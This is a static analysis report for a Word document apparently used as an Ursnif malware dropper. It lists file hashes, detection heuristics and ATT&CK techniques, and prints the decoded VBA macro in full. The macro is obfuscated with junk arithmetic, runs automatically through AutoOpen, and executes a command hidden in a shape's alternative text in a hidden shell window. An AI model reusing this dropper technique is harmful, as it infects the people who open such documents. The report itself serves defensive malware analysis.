Ursnif — Office (OLE) malware analysis

Static analysis result for SHA-256 d82d50c214add9bd…

MALICIOUS

Office (OLE)

68.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: ae93a2f95bf46f468b9b3d6628d3080f SHA-1: 6803bdee68f8dd62f416b5cb950790efed790f13 SHA-256: d82d50c214add9bdf68fc0ef525d1381dc8024bfdb2123934373b21d6e2334ce
142 Risk Score

Malware Insights

Ursnif · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Dropper.Ursnif-6864686-0, indicating a likely Ursnif variant. The presence of an AutoOpen VBA macro, specifically detected by OLE_VBA_AUTOOPEN and OLE_LEGACY_WORDBASIC_AUTOEXEC heuristics, suggests the macro is designed to execute automatically upon opening the document. The script within the 'macros.bas' file contains a call to 'Interaction.Shell@ kshJopf, vbHide', which is highly indicative of a dropper functionality that executes a downloaded payload in a hidden window.

Heuristics 5

  • ClamAV: Doc.Dropper.Ursnif-6864686-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Ursnif-6864686-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1436 bytes
SHA-256: 4389c131e8c185291668cc01f4ead5631cf1ef90932305ce66c3af8029f4f1dc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "rwokudu"
Function IWiKo()



Dim FPvSSqvv As Integer
Dim sdab As Long
FPvSSqvv = 9801# - 1962#
Dim noIlvu As Variant
noIlvu = FPvSSqvv - 9599#



Dim pvozuciqig As Integer
Dim ltakoxe As Long
pvozuciqig = 7055# - 8271#
Dim xximetesu As Variant
xximetesu = pvozuciqig - 8886#

Dim znuhemuceno As Integer
Dim nhikahene As Long
znuhemuceno = 4631# - 9828#
Dim AhWnKCdf As Variant
AhWnKCdf = znuhemuceno - 4543#

Set IWiKo = ActiveDocument.Shapes(2)





End Function
Sub AutoOpen()

Dim bsydod As Integer
Dim LqvhXa As Long
bsydod = 4173# - 1820#
Dim zwyr As Variant
zwyr = bsydod - 3516#



Dim wwimirylo As Integer
Dim pkexitihaly As Long
wwimirylo = 5362# - 7475#
Dim sZDjMpe As Variant
sZDjMpe = wwimirylo - 7450#

Set uDycYac = IWiKo

kshJopf = IWiKo.AlternativeText



Dim nfotor As Integer
Dim tTCwhPC As Long
nfotor = 1313# - 8939#
Dim vvojec As Variant
vvojec = nfotor - 8234#

Interaction.Shell@ _
kshJopf, vbHide



Dim rtyp As Integer
Dim lCrVh As Long
rtyp = 6124# - 9214#
Dim pdexiqizofi As Variant
pdexiqizofi = rtyp - 1441#





End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.